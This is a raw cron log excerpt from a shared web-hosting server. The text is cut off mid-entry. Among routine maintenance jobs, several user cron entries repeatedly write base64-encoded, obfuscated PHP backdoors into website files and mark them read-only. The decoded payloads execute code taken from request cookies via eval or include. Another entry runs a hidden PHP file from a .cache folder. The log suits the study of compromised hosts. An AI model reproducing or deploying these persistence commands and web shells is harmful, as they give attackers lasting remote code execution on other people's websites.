Jun  7 06:30:01 medusa CROND[30621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30633]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30635]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:30:01 medusa CROND[30636]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 06:30:01 medusa CROND[30637]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30639]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:30:01 medusa CROND[30645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30647]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:30:01 medusa CROND[30644]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:30:01 medusa CROND[30649]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:30:01 medusa CROND[30650]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:30:01 medusa CROND[30652]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:30:01 medusa CROND[30653]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:30:01 medusa CROND[30655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:30:01 medusa CROND[30643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:30:01 medusa CROND[30646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:30:01 medusa CROND[30648]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30661]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30664]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:30:01 medusa CROND[30665]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:30:01 medusa CROND[30663]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:30:01 medusa CROND[30680]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30681]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:30:01 medusa CROND[30675]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30688]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30689]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:30:01 medusa CROND[30691]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:30:01 medusa CROND[30694]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:30:01 medusa CROND[30690]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:30:01 medusa CROND[30686]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:31:02 medusa CROND[908]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:31:02 medusa CROND[911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:31:02 medusa CROND[917]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:31:02 medusa CROND[918]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:31:02 medusa CROND[919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:31:02 medusa CROND[920]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:31:02 medusa CROND[929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:31:02 medusa CROND[933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:31:02 medusa CROND[940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:31:02 medusa CROND[941]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:31:02 medusa CROND[931]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:31:02 medusa CROND[947]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:31:02 medusa CROND[950]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:32:02 medusa CROND[2888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:32:02 medusa CROND[2894]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 